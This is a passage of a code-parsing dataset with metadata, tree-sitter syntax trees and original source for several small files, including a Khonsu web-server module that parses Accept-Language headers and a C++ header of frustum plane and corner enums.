[], "literals": [2, 5, 8, 11, 14, 17, 22, 27, 32, 37, 100, 128, 137, 141, 152, 170, 184, 189, 198, 211, 225, 236, 265, 289, 297, 307, 320, 339, 350, 364, 607], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 44, "universal_type": "function", "name": "configure_callback", "text_snippet": "static void configure_callback (sexpr sx)\n{\n sexpr a = car (sx);\n\n if (truep (equalp (a, sym_d"}, {"node_id": 46, "universal_type": "function", "name": "unknown", "text_snippet": "configure_callback (sexpr sx)"}, {"node_id": 81, "universal_type": "function", "name": "i", "text_snippet": "static sexpr get_acceptable_languages (sexpr lq)\n{\n sexpr lcodes = sx_end_of_list;\n char have_"}, {"node_id": 83, "universal_type": "function", "name": "unknown", "text_snippet": "get_acceptable_languages (sexpr lq)"}, {"node_id": 406, "universal_type": "function", "name": "machine_state", "text_snippet": "static sexpr request (sexpr arguments, struct machine_state *st)\n{\n sexpr a = arguments, r = sx_e"}, {"node_id": 408, "universal_type": "function", "name": "machine_state", "text_snippet": "request (sexpr arguments, struct machine_state *st)"}, {"node_id": 573, "universal_type": "function", "name": "cmain", "text_snippet": "int cmain ()\n{\n kho_configure_callback = configure_callback;\n\n initialise_khonsu ();\n\n kho_"}, {"node_id": 575, "universal_type": "function", "name": "unknown", "text_snippet": "cmain ()"}], "class_declarations": [{"node_id": 415, "universal_type": "class", "name": "machine_state", "text_snippet": "struct machine_state"}, {"node_id": 416, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 0, "text": "#include <khonsu/khonsu.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include <seteh/lambda.h>\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include <curie/multiplex.h>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <curie/memory.h>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <curie/filesystem.h>\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include <curie/gc.h>\n"}, {"node_id": 16, "text": "#include"}]}, "original_source_code": "/*\n * This file is part of the kyuba.org Khonsu project.\n * See the appropriate repository at http://git.kyuba.org/ for exact file\n * modification records.\n*/\n\n/*\n * Copyright (c) 2009, Kyuba Project Members\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n*/\n\n#include <khonsu/khonsu.h>\n#include <seteh/lambda.h>\n#include <curie/multiplex.h>\n#include <curie/memory.h>\n#include <curie/filesystem.h>\n#include <curie/gc.h>\n\ndefine_symbol (sym_accept_language, \"accept-language\");\ndefine_symbol (sym_Vary, \"Vary\");\ndefine_symbol (sym_default_language, \"default-language\");\ndefine_string (str_Accept_Language, \"Accept-Language\");\n\nstatic sexpr default_language = sx_nonexistent;\n\nstatic void configure_callback (sexpr sx)\n{\n sexpr a = car (sx);\n\n if (truep (equalp (a, sym_default_language)))\n {\n default_language = car (cdr (sx));\n }\n}\n\nstatic sexpr get_acceptable_languages (sexpr lq)\n{\n sexpr lcodes = sx_end_of_list;\n char have_default = 0;\n\n if (!nexp (lq))\n {\n const char *lqs = sx_string (lq);\n char lqsm [KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0;\n sexpr n;\n int i = 0, il = 0;\n\n while (lqs[i] != (char)0)\n {\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }\n\n lqsm[i] = (char)0;\n\n for (i = 0; lqsm[i] != (char)0; i++)\n {\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }\n\n if (il < i)\n {\n lcodes = cons (make_string (lqsm + il), lcodes);\n }\n }\n\n\n if (!have_default)\n {\n lcodes = cons (default_language, lcodes);\n }\n\n return lcodes;\n}\n\nstatic sexpr request (sexpr arguments, struct machine_state *st)\n{\n sexpr a = arguments, r = sx_end_of_list, a2, a3;\n\n while (consp (a))\n {\n a2 = car (a);\n a3 = car (a2);\n\n if (truep (equalp (a3, sym_get)))\n {\n sexpr t1 = cdr (a2), e = car (t1);\n\n if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }\n else\n {\n r = cons (a2, r);\n }\n\n a = cdr (a);\n }\n\n relay_sub (sx_reverse (r));\n return sx_nonexistent;\n}\n\nint cmain ()\n{\n kho_configure_callback = configure_callback;\n\n initialise_khonsu ();\n\n kho_environment = lx_environment_bind\n (kho_environment, sym_request, lx_foreign_lambda (sym_request, request));\n\n while (multiplex () != mx_nothing_to_do)\n {\n// gc_invoke();\n }\n\n return 0;\n}\n"}
81,109
c
// // LAViewController.h // WXWCategory // // Created by hwxue on 07/03/2019. // Copyright (c) 2019 hwxue. All rights reserved. // @import UIKit; @interface LAViewController : UIViewController @end
19.2
10
(translation_unit) "//\n// LAViewController.h\n// WXWCategory\n//\n// Created by hwxue on 07/03/2019.\n// Copyright (c) 2019 hwxue. All rights reserved.\n//\n\n@import UIKit;\n\n@interface LAViewController : UIViewController\n\n@end\n" (comment) "//" (comment) "// LAViewController.h" (comment) "// WXWCategory" (comment) "//" (comment) "// Created by hwxue on 07/03/2019." (comment) "// Copyright (c) 2019 hwxue. All rights reserved." (comment) "//" (ERROR) "@" (ERROR) "@" (declaration) "import UIKit;" (type_identifier) "import" (identifier) "UIKit" (;) ";" (ERROR) "@interface LAViewController : UIViewController\n\n@end" (ERROR) "@" (type_identifier) "interface" (identifier) "LAViewController" (:) ":" (identifier) "UIViewController" (ERROR) "@" (identifier) "end"
22
5
{"language": "c", "success": true, "metadata": {"lines": 10, "avg_line_length": 19.2, "nodes": 10, "errors": 0, "source_hash": "ebd5d2c6e4429fe4fd45e1cf900966eca4b02860e855a0b0e677cabbb73a7f54", "categorized_nodes": 5}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "ERROR", "text": "@", "parent": null, "children": [1], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 1}}, {"id": 1, "type": "ERROR", "text": "@", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 1}}, {"id": 2, "type": "declaration", "text": "import UIKit;", "parent": null, "children": [3], "start_point": {"row": 8, "column": 1}, "end_point": {"row": 8, "column": 14}}, {"id": 3, "type": "identifier", "text": "UIKit", "parent": 2, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 13}}, {"id": 4, "type": "ERROR", "text": "@interface LAViewController : UIViewController\n\n@end", "parent": null, "children": [5, 6, 7, 8, 9], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 12, "column": 4}}, {"id": 5, "type": "ERROR", "text": "@", "parent": 4, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 1}}, {"id": 6, "type": "type_identifier", "text": "interface", "parent": 4, "children": [], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 10}}, {"id": 7, "type": "identifier", "text": "LAViewController", "parent": 4, "children": [], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 27}}, {"id": 8, "type": "identifier", "text": "UIViewController", "parent": 4, "children": [], "start_point": {"row": 10, "column": 30}, "end_point": {"row": 10, "column": 46}}, {"id": 9, "type": "ERROR", "text": "@", "parent": 4, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 1}}]}, "node_categories": {"declarations": {"functions": [], "variables": [2], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [3, 6, 7, 8], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// LAViewController.h\n// WXWCategory\n//\n// Created by hwxue on 07/03/2019.\n// Copyright (c) 2019 hwxue. All rights reserved.\n//\n\n@import UIKit;\n\n@interface LAViewController : UIViewController\n\n@end\n"}
81,110
c
#include "GC/semihonest.h" #include "GC/sh_eva.h" #include "GC/sh_gen.h" #include "GC/sh_party.h"
23.5
4
(translation_unit) "#include "GC/semihonest.h"\n#include "GC/sh_eva.h"\n#include "GC/sh_gen.h"\n#include "GC/sh_party.h"\n" (preproc_include) "#include "GC/semihonest.h"\n" (#include) "#include" (string_literal) ""GC/semihonest.h"" (") """ (string_content) "GC/semihonest.h" (") """ (preproc_include) "#include "GC/sh_eva.h"\n" (#include) "#include" (string_literal) ""GC/sh_eva.h"" (") """ (string_content) "GC/sh_eva.h" (") """ (preproc_include) "#include "GC/sh_gen.h"\n" (#include) "#include" (string_literal) ""GC/sh_gen.h"" (") """ (string_content) "GC/sh_gen.h" (") """ (preproc_include) "#include "GC/sh_party.h"\n" (#include) "#include" (string_literal) ""GC/sh_party.h"" (") """ (string_content) "GC/sh_party.h" (") """
25
0
{"language": "c", "success": true, "metadata": {"lines": 4, "avg_line_length": 23.5, "nodes": 12, "errors": 0, "source_hash": "4ec3ba3070cb6f88c426ff091c45d629db255a20b6523fbf711d8520bd23706a", "categorized_nodes": 12}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include \"GC/semihonest.h\"\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 8}}, {"id": 2, "type": "string_literal", "text": "\"GC/semihonest.h\"", "parent": 0, "children": [], "start_point": {"row": 0, "column": 9}, "end_point": {"row": 0, "column": 26}}, {"id": 3, "type": "preproc_include", "text": "#include \"GC/sh_eva.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"GC/sh_eva.h\"", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 22}}, {"id": 6, "type": "preproc_include", "text": "#include \"GC/sh_gen.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"GC/sh_gen.h\"", "parent": 6, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 22}}, {"id": 9, "type": "preproc_include", "text": "#include \"GC/sh_party.h\"\n", "parent": null, "children": [10, 11], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"GC/sh_party.h\"", "parent": 9, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 24}}]}, "node_categories": {"declarations": {"functions": [], "variables": [], "classes": [], "imports": [0, 1, 3, 4, 6, 7, 9, 10], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 8, 11], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include \"GC/semihonest.h\"\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include \"GC/sh_eva.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"GC/sh_gen.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"GC/sh_party.h\"\n"}, {"node_id": 10, "text": "#include"}]}, "original_source_code": "#include \"GC/semihonest.h\"\n#include \"GC/sh_eva.h\"\n#include \"GC/sh_gen.h\"\n#include \"GC/sh_party.h\"\n"}
81,111
c
#ifndef _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_ #define _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_ #include "coffee_includes.h" namespace coffee { namespace basic { //--------------------------------------------------------------------------------------------// /// Frustum3 planes enumeration //--------------------------------------------------------------------------------------------// enum FRUSTUM3_PLANE { FRUSTUM3_PLANE_Right, FRUSTUM3_PLANE_Left, FRUSTUM3_PLANE_Top, FRUSTUM3_PLANE_Bottom, FRUSTUM3_PLANE_Near, FRUSTUM3_PLANE_Far, FRUSTUM3_PLANE_Count }; //--------------------------------------------------------------------------------------------// /// Frustum3 corners enumeration //--------------------------------------------------------------------------------------------// enum FRUSTUM3_CORNER { FRUSTUM3_CORNER_FarTopRight, FRUSTUM3_CORNER_FarTopLeft, FRUSTUM3_CORNER_FarBottomRight, FRUSTUM3_CORNER_FarBottomLeft, FRUSTUM3_CORNER_NearTopRight, FRUSTUM3_CORNER_NearTopLeft, FRUSTUM3_CORNER_NearBottomRight, FRUSTUM3_CORNER_NearBottomLeft, FRUSTUM3_CORNER_Count }; } } #endif
32.45
38
(translation_unit) "#ifndef _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_\n#define _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_\n\n#include "coffee_includes.h"\n\nnamespace coffee\n{\nnamespace basic\n{\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 planes enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n };\n\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 corners enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n };\n\n}\n}\n#endif\n" (preproc_ifdef) "#ifndef _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_\n#define _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_\n\n#include "coffee_includes.h"\n\nnamespace coffee\n{\nnamespace basic\n{\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 planes enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n };\n\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 corners enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n };\n\n}\n}\n#endif" (#ifndef) "#ifndef" (identifier) "_COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_" (preproc_def) "#define _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_\n" (#define) "#define" (identifier) "_COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_" (preproc_include) "#include "coffee_includes.h"\n" (#include) "#include" (string_literal) ""coffee_includes.h"" (") """ (string_content) "coffee_includes.h" (") """ (function_definition) "namespace coffee\n{\nnamespace basic\n{\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 planes enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n };\n\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 corners enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n };\n\n}\n}" (type_identifier) "namespace" (identifier) "coffee" (compound_statement) "{\nnamespace basic\n{\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 planes enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n };\n\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 corners enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n };\n\n}\n}" ({) "{" (function_definition) "namespace basic\n{\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 planes enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n };\n\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 corners enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n };\n\n}" (type_identifier) "namespace" (identifier) "basic" (compound_statement) "{\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 planes enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n };\n\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 corners enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n };\n\n}" ({) "{" (comment) "//--------------------------------------------------------------------------------------------//" (comment) "/// Frustum3 planes enumeration" (comment) "//--------------------------------------------------------------------------------------------//" (enum_specifier) "enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n }" (enum) "enum" (type_identifier) "FRUSTUM3_PLANE" (enumerator_list) "{\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n }" ({) "{" (enumerator) "FRUSTUM3_PLANE_Right" (identifier) "FRUSTUM3_PLANE_Right" (,) "," (enumerator) "FRUSTUM3_PLANE_Left" (identifier) "FRUSTUM3_PLANE_Left" (,) "," (enumerator) "FRUSTUM3_PLANE_Top" (identifier) "FRUSTUM3_PLANE_Top" (,) "," (enumerator) "FRUSTUM3_PLANE_Bottom" (identifier) "FRUSTUM3_PLANE_Bottom" (,) "," (enumerator) "FRUSTUM3_PLANE_Near" (identifier) "FRUSTUM3_PLANE_Near" (,) "," (enumerator) "FRUSTUM3_PLANE_Far" (identifier) "FRUSTUM3_PLANE_Far" (,) "," (enumerator) "FRUSTUM3_PLANE_Count" (identifier) "FRUSTUM3_PLANE_Count" (}) "}" (;) ";" (comment) "//--------------------------------------------------------------------------------------------//" (comment) "/// Frustum3 corners enumeration" (comment) "//--------------------------------------------------------------------------------------------//" (enum_specifier) "enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n }" (enum) "enum" (type_identifier) "FRUSTUM3_CORNER" (enumerator_list) "{\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n }" ({) "{" (enumerator) "FRUSTUM3_CORNER_FarTopRight" (identifier) "FRUSTUM3_CORNER_FarTopRight" (,) "," (enumerator) "FRUSTUM3_CORNER_FarTopLeft" (identifier) "FRUSTUM3_CORNER_FarTopLeft" (,) "," (enumerator) "FRUSTUM3_CORNER_FarBottomRight" (identifier) "FRUSTUM3_CORNER_FarBottomRight" (,) "," (enumerator) "FRUSTUM3_CORNER_FarBottomLeft" (identifier) "FRUSTUM3_CORNER_FarBottomLeft" (,) "," (enumerator) "FRUSTUM3_CORNER_NearTopRight" (identifier) "FRUSTUM3_CORNER_NearTopRight" (,) "," (enumerator) "FRUSTUM3_CORNER_NearTopLeft" (identifier) "FRUSTUM3_CORNER_NearTopLeft" (,) "," (enumerator) "FRUSTUM3_CORNER_NearBottomRight" (identifier) "FRUSTUM3_CORNER_NearBottomRight" (,) "," (enumerator) "FRUSTUM3_CORNER_NearBottomLeft" (identifier) "FRUSTUM3_CORNER_NearBottomLeft" (,) "," (enumerator) "FRUSTUM3_CORNER_Count" (identifier) "FRUSTUM3_CORNER_Count" (}) "}" (;) ";" (}) "}" (}) "}" (#endif) "#endif"
92
0
{"language": "c", "success": true, "metadata": {"lines": 38, "avg_line_length": 32.45, "nodes": 56, "errors": 0, "source_hash": "14a399f7d4a4b133952001ce6ae2b6d1d93f05d1fb4ed1f449c0e261f3a9be83", "categorized_nodes": 54}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_\n#define _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_\n\n#include \"coffee_includes.h\"\n\nnamespace coffee\n{\nnamespace basic\n{\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 planes enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_PLANE\n {\n FRUSTUM3_PLANE_Right,\n FRUSTUM3_PLANE_Left,\n FRUSTUM3_PLANE_Top,\n FRUSTUM3_PLANE_Bottom,\n FRUSTUM3_PLANE_Near,\n FRUSTUM3_PLANE_Far,\n FRUSTUM3_PLANE_Count\n };\n\n //--------------------------------------------------------------------------------------------//\n /// Frustum3 corners enumeration\n //--------------------------------------------------------------------------------------------//\n enum FRUSTUM3_CORNER\n {\n FRUSTUM3_CORNER_FarTopRight,\n FRUSTUM3_CORNER_FarTopLeft,\n FRUSTUM3_CORNER_FarBottomRight,\n FRUSTUM3_CORNER_FarBottomLeft,\n FRUSTUM3_CORNER_NearTopRight,\n FRUSTUM3_CORNER_NearTopLeft,\n FRUSTUM3_CORNER_NearBottomRight,\n FRUSTUM3_CORNER_NearBottomLeft,\n FRUSTUM3_CORNER_Count\n };\n\n}\n}\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 55], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 41, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "_COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 49}}, {"id": 3, "type": "preproc_def", "text": "#define _COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "_COFFEE_BASIC_GEOMETRIC_FRUSTUM3_PLANE_H_", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 49}}, {"id": 6, "type": "preproc_include", "text": "#include \"coffee_includes.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"coffee_includes.h\"", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 28}}, {"id": 9, "type": "function_definition", "text": "namespace coffee\n{\nnamespace basic\n{\n 